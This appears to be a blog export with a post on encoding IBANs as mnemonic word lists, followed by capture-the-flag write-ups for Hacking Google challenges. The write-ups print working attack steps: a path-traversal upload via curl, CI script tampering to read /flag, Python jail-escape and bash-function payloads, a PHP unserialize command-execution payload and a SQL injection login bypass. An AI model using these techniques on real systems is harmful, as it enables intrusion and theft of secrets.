This is a Bitcoin wallet seed encoded in the so-called mnemonic code, which was proposed in BIP-0039. It is easier to remember, verbally communicate and write down than binary or hexadecimal data. This would be really handy to have for IBANs as well!

I want my IBAN to be a 'simple cluster truck wedding bag goose soda galaxy'

The Bitcoin implementation comes with a few Bitcoin-specific add-ons, which we don't need. So we could just follow the implementation by Oren Tirosh, which everybody seems to reference when talking about mnemonic code.

The Theory

The Mnemonic encoding by Oren works by taking a segment of bytes and calculating an index that maps to a word of a wordlist. This is not just one random wordlist extracted from a dictionary. The words are carefully selected by adhering to a set of criteria (which is heavily discussed on the internet), as seen here. So we just have to import some library and convert an IBAN into a bunch of bytes?

Well, first, we have to discuss how we actually convert an IBAN to bytes. We want to use as few bytes as possible since each extra byte will result in additional words, which one must remember.

How IBANs work

But in order to be able to properly encode IBANs into bytes, we first have to understand what they are and how they work.

IBANs are defined in the ISO 13616-1 standard, which is actually quite readable (which I am not used to when reading standards). It defines that an IBAN consists of the following elements:

1. Two-letter country code, aka "alpha-2 code", according to ISO 3166-1

2. A checksum consisting of two numbers

3. Up to 30 characters and numbers called the "BBAN"

The BBAN has to have a fixed size per country code and also encode a bank identifier whose position and length are also fixed per country code. The following image from a PMPG whitepaper visualizes it quite well (source):

This means that each country has its own "sub-standard" for IBANs (or BBANs, to be specific).

The country code is often indexed by a numeric code that is bigger than 255, meaning it would not fit in one byte. But if you look at the actual country code list, there are just 249 entries. This means by simply numbering them from 0 to 248, we can store that index in just one byte.

In theory, we could remove the checksum from the mnemonic code and recalculate it when parsing the code, which would remove one byte. Since mixing up a word is more unlikely than mixing up a number, this could be a valid consideration. However, I think mixing up the order of words is still pretty likely, so some kind of verification check is still necessary.

Encoding the BAN is the difficult part: Each country has its own BBAN standard, as seen on Wikipedia. It would be nice to have a way to support arbitrary IBAN numbers and convert them to bytes in the most space-efficient way. For this, one probably has to incorporate the country-specific BBAN specification to parse characters and numbers in the correct places (numbers need way fewer bytes than characters).

For German IBANs, it's quite easy: After the checksum, there are 18 numeric characters left to parse. The first 8 are the bank identifier, and the following 10 are the account number. These 18 numbers characters can be interpreted as a 7-byte integer. No ASCII characters, which would increase the byte representation in size. Together with the country code, we arrive at 8 bytes in total.

For comparison, here are some other countries with their IBAN format and required bytes:

Implementation

Most programming languages have libraries that already implement Oren's mnemonic encoder/decoder (e.g., Python or Rust).

So to implement the conversion from some IBAN string to mnemonic code, we would follow these steps:

1. Split the country code of the IBAN, so that checksum and BBAN remain

2. Calculate the index of the country code and convert it to a byte

3. Parse the checksum and BBAN as some big integer and convert it into bytes

4. Put the country code byte and other bytes together and feed them into the mnemonic encoding library

To implement parsing the mnemonic code into an IBAN, we would just reverse the steps. If we discarded the checksum while encoding, we would have to recalculate it again. I also recommend verifying the IBAN using its built-in checksum mechanism.

Now we can encode and decode IBANs:

I would love to provide the source code of my implementation, but I would have to clean it up first. If you did a proper implementation of this, let me know!

Further Considerations

This is a list of "add-ons" to this idea, which I might extend in the future.

By discarding the IBAN checksum and implementing a custom crc-based checksum, one could reduce the storage footprint of the checksum.

It would also be possible to separately encode the checksum in an extra word which is appended to the end. Then the "checksum word" would be optional, and the user could decide whether he wants to remember this additional word.

Conclusion

This was a fun experiment that allowed me to dive deeper into topics that always interested me but never had a use case for. Maybe this idea is actually helpful - if you think so, let me know. I might write a simple web service that allows for an easy conversion. The problem with these things is that they are useless until not everybody (or some big banks) is adapting this. It would be really awesome if, in the future, I could just enter some words into my banking app to send my money to someone. However, there are probably also some security considerations I haven't thought of.

It took me quite a while to write those write-ups (especially this one - the last one), so I kept it rather short this time. The more exciting challenges were the first couple ones, anyways.

Challenge 01: Small Toys

Hints:

• One of the researchers really liked small toys.

The first challenge came with a binary file containing data that I could not really make sense of:

Someone hinted to me that in the video that is provided with each challenge, one of the researchers really liked small digital toys. So it became clear that this has to be some kind of graphical data for some old black and white display. Maybe there were talking about Tamagotchis?

It took me quite a while to figure out the image format. Turns out it's an animation sheet with multiple smaller pictures that use some weird padding. Also, it actually contains greyscale color information, so not only black & white.

So I wrote a Python script to parse this weird format and convert it into jpg files. One of the resulting images looked like this:

Putting all images in a line reveals some text containing the flag.

Challenge 02: Bleichenbacher

Hints:

• Have you heard of Bleichenbacher?

This was definitely the hardest (and most annoying) challenge, and that took me the most time.

The challenge presented you with a game (including it's source code) where you try to hit buttons at the right time to kill the bugs in your way - at least that's what I think it is about, never really played it for longer than a couple of seconds.

From the source code, it became apparent that the flag will be revealed once the player achieves an integer overflow (for example, by successfully submitting a score of -1). The source code of the game itself wasn't too interesting, other than the fact that they implemented their own cryptography library to work with signatures, which sign the high score and send it to the scoreboard API (which is written in Python).

The crypto library had some issues that would allow for forging the signature using the so-called Bleichenbacher 06 attack. This is quite complicated, and I don't want to go too deep into this topic. However, it was not the standard vulnerability and worked a bit differently. Basically, one had to pass multiple checks by exploiting the padding and putting garbage into some parts of the signature.

Challenge 03: Morse Code

Hints:

• There is morse code hidden somewhere

The third challenge was a bit different than the previous ones since it required you to go back to all the videos that came with each challenge and piece together a secret message.

Each video contained some morse code, which was audible but really hard to write down. So I did a spectral analysis of each part where I heard some beeping, and there the long and short beeps were more obvious:

However, the message that came out contained a flag that did not work. They later announced at the event Discord that there was a mistake and provided the correct part.

Conclusion

The first challenge was quite fun, though I did not enjoy the others as much. However, all in all, a really fun (but quite a time intensive) CTF!

Episode Overview:

• Episode 0

• Episode 1

• Episode 2

• Episode 3

• Episode 4

• Episode 5

Challenge 01: Bug Hunters

Hints:

• Look at challenge 02 first

• ../../..

For this challenge, Google cloned their Bug Hunters website. But they exchanged the OIDC login with a basic login with a username and password, password reset functionality, and added /import and /export API endpoints.

I analyzed the login functionality thoroughly but could not spot something unusual. Turns out you get the site's source code (in HTML/JS) from challenge 02 and the backend code for the import/export endpoints (written in Go) from challenge 03!

The import endpoint allows users to upload bug reports by uploading .tar.gz compressed files. If a file is already present and we enable the debug mode by passing &dryRun=t&debug=t, we get a diff between the old and the new file.

After looking at the import functionality, it became apparent that the function does not check for path traversal attacks.

So we just created a .tar.gz file containing an empty flag file and submitted it using:

curl --location --request POST 'https://path-less-traversed-web.h4ck.ctfcompetition.com/import?submission=../../../&dryRun=t&debug=t' \
--form 'attachments=@"/home/michi/flag.tar.gz"'

And get the diff containing the flag as a response.

Challenge 02: Bug hunters 2

Hints:

• Brute force is the way to go

• By fixing one vulnerability, you might introduce another one

This challenge gives us the source code for the website from challenge 01, together with the hint to log in as user "tin".

In the source code, we can see that we have to log in to display the flags (each user has one). The users and their password hashes are hardcoded:

  { username: 'don', hashedPassword: 'i4tUa+RTGgv+jRtyUWBXbP1i/mg=', isAdmin: true },
  { username: 'tin', hashedPassword: 'XtBEoWAkAF/UKax1SDdIHeCJbtE=' }

The reset function generates a random password but only allows passwords of non-admins to be reset.

After some digging around, we find that they implemented their own method for comparing strings in constant time to be invulnerable from timing attacks. However, their method is based on comparing the indices of the digits (yes only numbers) in the string one by one instead of comparing the actual characters. That means that two strings will be considered equal if their length is the same and they have numbers in the same location (not even the same numbers).

This equals method is used to compare the hashes when logging in. If we reset tin's password often enough (using a simple script), we eventually get one without any numbers and can log in with every password containing no numbers.

I also found a way to log in as the admin user, whose password cannot be reset: We first have to obtain the actual base64-decoded hash of don's password with the following command:

> echo 'i4tUa+RTGgv+jRtyUWBXbP1i/mg=' | base64 -d - | xxd -p
8b8b546be4531a0bfe8d1b725160576cfd62fe68

Then we can brute force SHA1 passwords to get one, that has the numbers in the same places as don's hash. This actually gets us the flag for a bonus challenge.

Challenge 02: Bug hunters 3

Hints:

• Git has lots of flags

• CI can be dangerous

The challenge description tells you to find some bugs and gives you the hint to "find out how to contribute". By looking around the site from challenge 01, we find a Git URL that is pointing to a source code repository containing the source code of the backend.

When trying to contribute by pushing to the flag branch, the Git server rejects all push requests:

Total 0 (delta 0), reused 0 (delta 0), pack-reused 0
remote: Skipping presubmit (enable via push option)
remote: Thank you for your interest, but we are no longer accepting proposals
To git://dont-trust-your-sources.h4ck.ctfcompetition.com:1337/tmp/vrp_repo
 ! [remote rejected] flag -> flag (pre-receive hook declined)
error: failed to push some refs to 'git://dont-trust-your-sources.h4ck.ctfcompetition.com:1337/tmp/vrp_repo'

The error message says that the "presubmit checks" were skipped - so let's try to enable them?

$ git push -o "presubmit" -u origin flag
Enumerating objects: 7, done.
Counting objects: 100% (7/7), done.
Delta compression using up to 16 threads
Compressing objects: 100% (4/4), done.
Writing objects: 100% (4/4), 708 bytes | 708.00 KiB/s, done.
Total 4 (delta 2), reused 0 (delta 0), pack-reused 0
remote: Starting presubmit check
remote: Cloning into 'tmprepo'...
remote: done.
remote: HEAD is now at f5582f1 test
remote: Building version v0.1.2
remote: ./build.sh: line 5: go: command not found
remote: Build server must be misconfigured again...
remote: Thank you for your interest, but we are no longer accepting proposals
To git://dont-trust-your-sources.h4ck.ctfcompetition.com:1337/tmp/vrp_repo
 ! [remote rejected] flag -> flag (pre-receive hook declined)
error: failed to push some refs to 'git://dont-trust-your-sources.h4ck.ctfcompetition.com:1337/tmp/vrp_repo'

Looking at the error message, we can see that the version number is printed by the server. So maybe there is a way to also print the flag, which probably works by executing cat /flag, again?

This code is from the build.sh file, which seems like it was part of some CI:

#!/usr/bin/env bash

source configure_flags.sh &>/dev/null
echo "Building version ${VERSION}"
go build -ldflags="${LDFLAGS[*]}"

However, modifying it has no use since it executes always the unmodified on the server. But we can change the configure_flags.sh file to include the flag value:

#!/usr/bin/env bash

# IMPORTANT: Make sure to bump this before pushing a new binary.
VERSION="$(cat /flag)"
COMMIT_HASH="$(git rev-parse --short HEAD)"
BUILD_TIMESTAMP=$(date '+%Y-%m-%dT%H:%M:%S')

LDFLAGS=(
  "-X 'main.Version=${VERSION}'"
  "-X 'main.CommitHash=${COMMIT_HASH}'"
  "-X 'main.BuildTime=${BUILD_TIMESTAMP}'"
)

Conclusion

Challenge one and two were quite interesting, probably because I am really interested in web technologies. However, I didn't like the challenge three that much, and without the hint from another participant to look at the hooks, it would have taken me a lot longer to figure out. You can read my write-up for the next (and last) episode over here.

Episode Overview:

• Episode 0

• Episode 1

• Episode 2

• Episode 3

• Episode 4

• Episode 5

Challenge 01: OAuth 2.0

Hints:

• Have a thorough look at the challenge intro video

• Credentials might be accidentally left on the system somewhere

The first challenge gives one command and the hint that a key should be found and RFC 6749 (which is about OAuth) should be put to use.

The command opens a TCP connection using socat, which presents a prompt asking for a password:

This one took me a while to figure out. Each episode comes with an introductory video. Someone on the Hacking Google CTF gave a hint that the password is hidden in this video. It took us a while, but eventually we found it:

Entering this password reveals a shell environment. Seems like it was the development environment of some developer creating a backup script for some documents:

The backup.py The script reveals the ID of the document the developer tried to back up, but the method to get the credentials has not yet been finished.

Okay, it seems like we have the document containing the flag. Now we probably have to somehow get the OAuth credentials to access that file. Luckily enough, we can find the credentials in .config/gcloud/legacy_credentials/backup-tool@project-multivision.iam.gserviceaccount.com/adc.json, which contains a client id, client email, and private key.

Looking at the documentation for the Google Api's OAuth 2 service, we now have to construct an RS256 JWT token with the following content and POST that to https://oauth2.googleapis.com/token:

{
   "iss":"backup-tool@project-multivision.iam.gserviceaccount.com",
   "scope":"https://www.googleapis.com/auth/documents.readonly",
   "aud":"https://oauth2.googleapis.com/token",
   "exp":1664813638,
   "iat":1664810038
}

By doing that, we receive an access token that is valid for one hour to access that file. And of course, that file contains the flag!

Challenge 02: The Maze

Hints:

• Python is not made for secure/jailed environments

• A terminal might not be the best choice for this challenge

Again, we are presented with a socat command, but this time with an interactive game. The player can move around, pick up stuff like keys to unlock doors, energy boosters (energy gets lost by walking), and traps to kill enemies. After playing the game for a while, it seems rather hard and is not going anywhere.

The instructions for this challenge just mention that you have to cheat somehow. After some brainstorming and playing with the thought of writing a bot to solve the game, I remembered the most famous cheat code: The Konami Code. And indeed, entering the key sequence of that cheat opens up a shell-like environment.

Some toying around with that shell reveals that it is a really limited/jailed Python3 shell. This challenge took me a while, and I worked with other CTF participants to solve it. After some research, we found this article, which explains how a Python jail would work and how it can be escaped. However, our shell was even more limited, not persisting the session after each command, seemingly printing only one line of the result and having a character limit for the input.

First, we wanted to see which classes are loaded. Because of the given limitation, we would have to manually print each entry of the subclasses array like so:

print(().class.bases[0].subclasses()[123]

To automate this, my friend wrote a Rust script that automatically connected, entered the Konami code, and executed the Python command. Now we had a list of classes, which contained some interesting entries. Most importantly, we spotted the "builtinImporter" object at index 84. This allowed us to actually load modules like this:

().class.bases[0].subclasses()[84].load_module('os')

We eventually also found a way to persist our intermediate results between our inputs by creating new types and storing information in them:

# create new subclass
c=str.__base__.__subclasses__();c[0]("a",(),{"b":c[84].load_module})
# call it, like so
str.__base__.__subclasses__()[274]("os")

# which allows us to execute commands on the system
c=str.__base__.__subclasses__()[274].b("os");c.system("ls")
# which lists a 'flag' file

That's it, right? Well, not quite. We could not cat the file and print the output in our terminals because they interpreted some ANSI codes that hid the output. But thanks to our Rust program, we could actually see the raw output and find the flag there.

Challenge 03: Corgi

Hints:

• You don't have to crack the encryption.

• Maybe there was some useful code left from development

This challenge came with a QR code and an .apk Android application. I found this online decompiler tool, which I could use to look at the decompiled source code.

The app seems to allow scanning QR codes (using Google Lens) to enable app content with some encryption magic. After making sure that there is nothing weird going on with that app, I installed it on my phone. Normally I would never install such files on my Phone from untrusted sources, but I have no experience with Android development and did not want to search for a good emulator that can cope with Google services. Google wouldn't install a virus on my phone - I hope at least.

Scanning the QR code with any reader app, will lead to this URL: https://corgis-web.h4ck.ctfcompetition.com/aHR0cHM6Ly9jb3JnaXMtd2ViLmg0Y2suY3RmY29tcGV0aXRpb24uY29tL2NvcmdpP0RPQ0lEPWZsYWcmX21hYz1kZWQwOWZmMTUyOGYyOTgwMGIxZTczM2U2MjA4ZWEzNjI2NjZiOWVlYjVmNDBjMjY0ZmM1ZmIxOWRhYTM2OTM5

Everything behind the / can be decoded using base64 and will result in another URL: https://corgis-web.h4ck.ctfcompetition.com/corgi?DOCID=flag&_mac=ded09ff1528f29800b1e733e6208ea362666b9eeb5f40c264fc5fb19daa36939

This URL is parsed by the app and is used to unlock content. However, this only works if the client is "subscribed", which is testing using the _mac value and some HMAC encryption, whose secrets can be found in the strings.xml file. However, the decompiled code is hard to read, and before trying to crack the encryption I wanted to have a look at the scanning logic.

The QrCodesKt.java has some debug logic that was left in the code. Specifically, when /debug and #force_subscribed is in the URL, we are "force subscribed" skipping the subscription check at all. Generating a QR code with its URL pointing to https://corgis-web.h4ck.ctfcompetition.com/debug/aHR0cHM6Ly9jb3JnaXMtd2ViLmg0Y2suY3RmY29tcGV0aXRpb24uY29tL2NvcmdpP0RPQ0lEPWZsYWcmX21hYz1kZWQwOWZmMTUyOGYyOTgwMGIxZTczM2U2MjA4ZWEzNjI2NjZiOWVlYjVmNDBjMjY0ZmM1ZmIxOWRhYTM2OTM5#force_subscribed and scanning it will reveal the flag in the app.

Conclusion

I quite liked reverse engineering the QR code logic of the third challenge. The second challenge took most of the time and nerves but was pretty rewarding. You can read my write-up for the next episode over here.

Episode Overview:

• Episode 0

• Episode 1

• Episode 2

• Episode 3

• Episode 4

• Episode 5

Challenge 01: LSB stego

Hints:

• There are two similar images

• One of the images has slightly different pixel data

The challenge consists of the following image and the following description:

This image might look familiar. But where have you seen it before?

Hint: Sometimes the answers are hidden in plain site

Indeed the image is hidden in plain site! It is the background of the hacking google webSITE: https://h4ck1ng.google/assets/website.png. When comparing both images in terms of checksum and with the help of diff tools, it becomes apparent that this is not the same image. The background image seems to contain some extra information.

Running in through the string utility (as previously used in the last episode, we get the following output:

strings website.png | head
IHDR        pHYssRGBgAMAtEXtAuthorCrash OverrideRiTXtComment
D&R found our last message
 so just using base64-encoding isn't going to be enough. Maybe hide it in an SSL certificate? Should pass DLP checks. And use LSB stego, I'm sure that'll fool them. I found an online tool that works to read it (I'll send you a link) so we can probably deprecate your custom decoding tool. Oh and remember to delete this message before you check in the changes
[IDATx

There are a few interesting things here: The message author references "stego", which is an abbreviation for Steganography, which describes the practice of hiding information in a different message or data (like an image). LSB stands for "least significant bit", meaning each pixel contains part of the secret message in the least significant bits of the pixel's data. Those can be extracted with tools like this: https://stegonline.georgeom.net/upload.

After running the original challenge image through the stego tool we get some text-based data, which looks like a certificate, which was also mentioned in the hidden message from the website.png. But apparently, they hide the information we aim to get (the flag) in the certificate somehow.

The certificate can be parsed with the openssl x509 -in cert -text command, which reveals the hidden flag in the organization name of both the issuer and subject data.

After solving the challenge, someone pointed out to me that there is a tool called "Cyber Chef" that can do all the steps to decode the data, at once. It can do even more and is quite handy for such things: https://gchq.github.io/CyberChef/#recipe=Extract_LSB('R','G','B','A','Row',0)Parse_X.509_certificate('PEM')

Challenge 02: Timesketch

Hints:

• You don't need Timesketch

• Look for things that look like a flag

This challenge was a bit boring. They want you to analyze some server logs using Timesketch. They included instructions on how to set it up (even using Docker), but I didn't feel like it.

Since the flag has to be somewhere in the logs, I just looked for some keywords that appear in a flag. Weirdly enough searching for "h4ck1ng" etc. yielded no results. However "HTTP" did!

cat data.csv | grep http returned the URL, which was scramled like this: https://h[4]ck[1]n/g.go[og]le/s[ol]ve/....

Challenge 03: Quarantine Shell

Hints:

• Focus on the available commands

• Maybe you can somehow overwrite existing commands

The command command: socat FILE:tty,raw,echo=0 TCP:quarantine-shell.h4ck.ctfcompetition.com:1337 is given. It connects you to a remote shell. However, this shell is quarantined, meaning you supposedly can't execute commands:

❯ socat FILE:`tty`,raw,echo=0 TCP:quarantine-shell.h4ck.ctfcompetition.com:1337
== proof-of-work: disabled ==
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell

   ___                                    _    _                ____   _            _  _
  / _ \  _   _   __ _  _ __  __ _  _ __  | |_ (_) _ __    ___  / ___| | |__    ___ | || |
 | | | || | | | / _` || `__|/ _` || `_ \ | __|| || `_ \  / _ \ \___ \ | `_ \  / _ \| || |
 | |_| || |_| || (_| || |  | (_| || | | || |_ | || | | ||  __/  ___) || | | ||  __/| || |
  \__\_\ \__,_| \__,_||_|   \__,_||_| |_| \__||_||_| |_| \___| |____/ |_| |_| \___||_||_|

The D&R team has detected some suspicious activity on your account and has quarantined you while they investigate
961 days stuck at ~
~ $ echo test
command blocked: echo test
check completions to see available commands

There are quite some interesting things there, like the == proof-of-work: disabled == output. But after some research, it turned out that this is just something from the CTF virtualization environment.

Pressing the tab key reveals the possible commands - so it seems like autocomplete still works. By typing cd / and then pressing tabs, we actually see all the files in the root file system. This reveals that there is a /flag file, which probably contains the flag URL.

By looking through the command list, I found some interesting commands that I actually was able to execute. One of the was the function command/keyword.

After some research, I found the following article: https://blog.dnmfarrell.com/post/bash-function-names-can-be-almost-anything/. After playing around with redefining the default echo command, I finally got the flag by using the following commands:

function echo
{
command echo $(</flag);
}
echo

We now have the flag, but we can now also access the shell files that implement the quarantine. After looking through the code, the relevant part seems to be this:

    function quarantine_protocol() {
        if [[ "${COMP_WORDS[0]}" == '_dnr_toolkit' ]]; 
        then 
            # Removing the trap here then setting it again in the completions has the 
            # effect of allowing all the code in the completions function to run 
            # while preventing any user commands. 
            trap - DEBUG true else echo "command blocked: ${BASH_COMMAND}" 
            echo "check completions to see available commands" false 
        fi 
    } 

    function quarantine() { 
        # Remove the environment, but only env vars, not functions. 
        set -o posix unset $(set | grep '=' | grep -v '^_' | grep -v 'flag' | cut -d'=' -f1) 2>/dev/null 
        set +o posix 
        # Keep these at least, we're not THAT cruel. 
        PS1='~ $ ' 
        PS2='> ' 
        PS4='+ ' 
        # Trap every command and ignore it. 
        # Credit to https://stackoverflow.com/a/55977897 # This inadvertently has the effect of leaving them stuck at ~ and unable # to `exit` :^) 
        set -T 
        # Enable for subshells 
        shopt -s extdebug 
        # From the man pages: "If the command run by the DEBUG trap returns a non-zero value, the next command is skipped and not executed" 
        trap quarantine_protocol DEBUG 
        # Trap every single command 
    }

Conclusion

Again, an interesting challenge - though I would say this was the weakest of the five episodes. You can read my write-up for the next episode over here.

Episode Overview:

• Episode 0

• Episode 1

• Episode 2

• Episode 3

• Episode 4

• Episode 5

Challenge 01: Wannacry

Hint: The Linux file and strings utilities are very useful

In the first challenge, only a binary file is provided. After looking at the hex values of the binary file and printing the strings of the file header using strings challenge.bin | head it became apparent that this is a gzip compressed file. file challenge.bin further revealed that it is .zip compressed. Unzipping this file resulted in a challenge.tar.gz file which I could extract with tar -xzvf challenge.tar.gz. This gave me two files: flag and wannacry.

The file command revealed that the wannacry is an actual executable and the flag is an OpenPGP secret key. The file name of the executable led to some hesitation at first but after running it through several malware scanners, I determined that it is safe to execute.

> ./wannacry
Usage of ./wannacry:
  -encrypted_file string
        File name to decrypt.
  -key_file string
        File name of the private key.

Interesting, so the wannacry executable can use some private key to decrypt our secret key flag file. But where do we get the private key from?

From the first episode, we know what a flag looks like. So why not search for it in the strings of the binary using strings wannacry | grep h4ck1ng. This returned not the flag, but the URL https://wannacry-keys-dot-gweb-h4ck1ng-g00gl3.uc.r.appspot.com/ which is a list of 200 private key files.

My friend quickly decided to brute force the key and wrote a script to try every private key on the secret key flag. Eventually, we found one that worked and got the unencrypted flag file that contained the actual flag!

Challenge 02: Wannacry the second

** Hints:**

• The strings might be intresting again

• Execute the hidden function

Challenge 01 was a nice warm-up, but challenge 02 is a whole other level. It comes with a binary file, which unzips to a binary executable called wannacry, again. However, this time, executing the binary prints nothing and just returns the error code 0. So it looked like I would have to figure out some secret parameters in order to get the executable to print something. Looking at the strings again reveals another URL: https://wannacry-killswitch-dot-gweb-h4ck1ng-g00gl3.uc.r.appspot.com//. A website that just displays the text "Our princess is in another castle." - a reference (and a meme) to from the game Super Mario.

The executable seems to contain a whole dictionary at the end, containing various strings. The string princess is definitely in there together with lots of other alphabetically sorted words.

Looking at the output of the file command more specifically, shows us that it is "not stripped" and therefore contains debug symbols:

> file wannacry
wannacry: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0c23340ab6c6d0c158f0ee356a1deb0253d8cf4c, for GNU/Linux 3.2.0, not stripped

Looking at some of the debug symbols in the binary strings, I spotted that the time library is used. This led to my first suspicion that this might be some time-based encryption. At this point, I saw no other way than reverse engineer the executable with static analysis - which I have never done before.

So I downloaded Ghidra, which is a software suite developed by the NSA to reverse engineer software. The static analysis showed that the executable always immediately exists. But there is more code - there is just no way to execute it (legitimately). Looking at that code revealed that they actually generate time-based passwords (TOTP) using SHA-1 and print them.

Now there are two options:

1. Reverse engineer the TOPT algorithm and implement it myself

2. Somehow get the print() function to execute.

The second option seemed way more interesting to me. Since the binary contained symbols, we should be able to attach a debugger to the process. So I read into how gdb is used and run the following commands:

break main # we want to set a breakpoint in the main method before the software exists
run # run the program until we hit our breakpoint
j print # continue to execute the program in the print function

That revealed a URL together with one of the words from the dictionary:

Visiting this URL right after running the program generated it, shows this page:

Clicking the button that is displayed, reveals the flag. If you wait too long, the page will just show the message about the princess again.

Challenge 03: Chess 2.0

Hints:

• Look at the PHP source code

• Magic methods are interesting

Another chess challenge - exciting! This time, however, there is no admin panel. Also looking at the diff between the old and new HTML file, we can see that this time the flag is not printed upon winning the game:

echo "<h1>Winning against me won't help anymore. You need to get the flag from my envs." . "</h1>";

Also, the load_board.php file was changed: It now only allows loading files with the extension .php. So we cannot read the environment variable from /proc/self/environ.

Luckily the exploit from the chess challenge from episode 1 to get the web app's source code still works. Looking at the diff again, the code is the same as in challenge 01. While solving challenge 01, I already suspected that you might be able to modify how the stockfish (the chess engine, see my post about the first episode for more details) binary is called. Would there be a way to exploit this?

After going through the PHP source code a dozen times, there is one piece of code I couldn't make sense of. The __wakeup() method of the class Stockfish that contains the whole code which talks to the chess engine process:

    public function __wakeup()
    {
        $this->process = proc_open($this->binary, $this->descriptorspec, $this->pipes, $this->cwd, null, $this->other_options) ;
        echo '<!--'.'wakeupcalled'.fgets($this->pipes[1], 4096).'-->';
    }

Reading the PHP docs about magic methods reveals that __sleep() and __wakeup() are used to run code before serialization and after deserialization. The sleep method can be used to clean up and the wakeup method to reestablish database connections. Or in our case, it opens the stockfish binary to re-establish a connection with the chess engine. The weird thing is, that it also echos the stdout of the process. Maybe that was used for debugging?

Ok fine, we now have understood all the backend code and the wakeup thing is legit - and now? Well, now I was stuck. After some more spending some more hours looking at the code, I spotted another suspicious piece of code. Rember where I tried to teleport the chess pieces using the move_end method in episode 1?

Turns out there is actually a vulnerability there:

$movei = unserialize(base64_decode($_GET['move_end']));

This code, used for evaluating where a chess piece was dragged to, deserializes WHATEVER we pass to it. Looking at the docs for unserialize(), they explicitly state:

If the variable being unserialized is an object, after successfully reconstructing the object PHP will automatically attempt to call the __unserialize() or __wakeup() methods (if one exists).

Oh damn. This means we can pass a PHP class to it that the current environment recognizes, set its variables and have the __wakeup() method execute. And in this case, wakeup() actually executes a process and returns the stdout to us.

So, I copied the code and serialized an instance of the stockfish class which contains the env command for the variable that normally would hold the path to the stockfish binary. This is then base64 encoded and passed to the move_end parameter, like so:

https://hackerchess2-web.h4ck.ctfcompetition.com/?move_end=Tzo5OiJTdG9ja2Zpc2giOj...

And voila, we now see ... one environment variable? Turns out only the first line of the command output is written to the HTML. So the final step was to transform the output of the env command to one line: env | xargs.

Now we can see a list of all environment variables as comments in the HTML. And there is the flag:

<!--wakeupcalledGATEWAY_INTERFACE=CGI/1.1 CONTENT_TYPE=multipart/form-data; boundary=--------------------------355823505429505671295364 SHLVL=1 REMOTE_ADDR=10.119.223.201 QUERY_STRING=move_end=Tzo5OiJTdG9 [...]
SERVER_ADDR=10.120.3.109 REDIRECT_FLAG2=https://h4ck1ng.google/solve/rc[...]
-->

Conclusion

Another fun challenge! This one was definitely harder than the previous one - whose write-up you can read over here. Or continue with episode 3 and read my write-up for the next episode over here.

Episode Overview:

• Episode 0

• Episode 1

• Episode 2

• Episode 3

• Episode 4

• Episode 5

I had never participated in a CTF (Capture The Flag) before but this one seemed like a good opportunity since it did not have a deadline and the challenges are more about typical security issues than finding some exploits in very involved algorithms. That being said, I am by no means a security expert. However, I always found this topic very interesting and once found a severe but interesting security flaw in a production web application (I might publish a story about this eventually).

This blog post outlines how I solved the challenges together with a friend. If you haven't solved them yet for yourselves, I would not recommend reading the whole article - however, I will provide some more hints at the beginning of each chapter. If you don't have the time to try your luck in solving these challenges yourself, you might find this article interesting. I am not sure whether I find the time (and have the skills) to solve all challenges, but after 6 hours I was able to finish episode 0, which contains the two challenges presented in this article.

Challenge 01: Hacker Chess

Hints:

• You don't have to play chess very well (I don't)
• Don't get distracted
• Level the playing field

The first challenge is presented as a website where one can play chess against some AI. The first thing to catch my eye was the "Master Login" button in the lower right corner that jumps into the eye. Could this be the classic SQL injection scenario?

But let's first have a look at the chess game itself: At the beginning, the game plays like normal, but at move seven, something weird happens:

All enemy pawns somehow became queens - the AI is cheating! As if I had a chance against a chess AI anyways... At this point, it became quite obvious that I was not able to beat the opponent without some help.

Let's hit "F12" and inspect the HTML source code of this website. I made the following notes:

• The chessboard is made of an HTML table... 🙃
• Clicking on the table cells calls the current page with the parameter ?move_start=<clicked cell>
  • E.g. clicking on square E3 will open the page ...com/index.php?move_start=e3
  • This page then highlights the allowed moves and when clicking another square will something like ...com/index.php?move_end=YToyOntpOjA7czoyOiJkMiI7aToxO3M6MjoiZDQiO30
• There is a difficulty switch... Options are "Impossible", "Unbeatable" and "Invincible"
  • Not sure which is the easiest, but all settings seem to result in pretty good moves
• The game loads automatically, but there is also a "Start" button
  • This button executes the load_baseboard() JavaScript function
  • This function makes a request to load_board.php passing a filename(baseboard.fen) in the request and reloads the page

Chess Piece Teleportation

So many possibilities! First I tried the obvious: Telling the backend to teleport my chess pieces so that I can checkmate the enemy! For that, I needed to understand how the ?move_end=... parameter works.

The value of the move_end parameter looked suspiciously like a base64 encoded string, since it only contained characters and numbers and is often used in URL parameters. Decoding the value results in a:2:{i:0;s:2:"d2";i:1;s:2:"d4";}, which contained my move (from square D2 to D4). Since it does not look like JSON, my initial guess was that this is some sort of array data structure. Later, I found out that this guess was correct and this is apparently how PHP serializes its data structures.

I tried changing the values in that string to teleport my chess pieces, but the chess app detected that as an illegal move.

Setting a custom starting board... or not?

Remember the load_board.php endpoint? After some tinkering, we found that you can actually call this one by setting the file value to baseboard.fen at any time to generate a new PHP session. This PHP session is identified by a PHPSESSID cookie! My friend also recognized the .fen extension as a file format that is used to specify chess boards.

So what if we could load a different .fen file where we are a few moves away from winning the game? We somehow have to inject our custom file into the filesystem somehow... Maybe you can guess the solution? We could not figure that one out just yet! But we discovered something even better: A LFI vulnerability! When calling the load_board.php endpoint with a GET request, the endpoint actually returns the loaded data in its body. But we could also specify index.php as file (or any other file in the local file system) which would print the raw source code of the index.php file!

This revealed a couple of interesting things:

• The AI cheating can be turned off by admins
• The difficulty setting is only a distraction and does not do anything in the backend
• The script uses the chess PHP library together with the stockfish chess engine
• The flag is stored in an environment variable and revealed as soon as the player wins the game: echo "<h1>ZOMG How did you defeat my AI :(. You definitely cheated. Here's your flag: ". getenv('REDIRECT_FLAG') . "</h1>";

And yes, we could now also print the source code for the admin.php file:

• The login is susceptible to SQL injection
• Admins can turn off cheating and change the thinking time of the AI

Hacking the Master Login

We now knew that we did not have to hack the admin page, since you only have to win the game in order to obtain the flag. However, it seemed like turning off cheating and changing the thinking time can help us win the game.

The master login on the admin.php page was a simple username and password login page. From our previous exploit, we now know that the login is vulnerable to SQL injection attacks:

sprintf("SELECT username FROM chess_ctf_admins WHERE username='%s' AND password='%s'", $_POST['username'], $_POST['password']);

After fiddling around with some attack attempts we were able to log in by entering ' or ''=' as username and password.

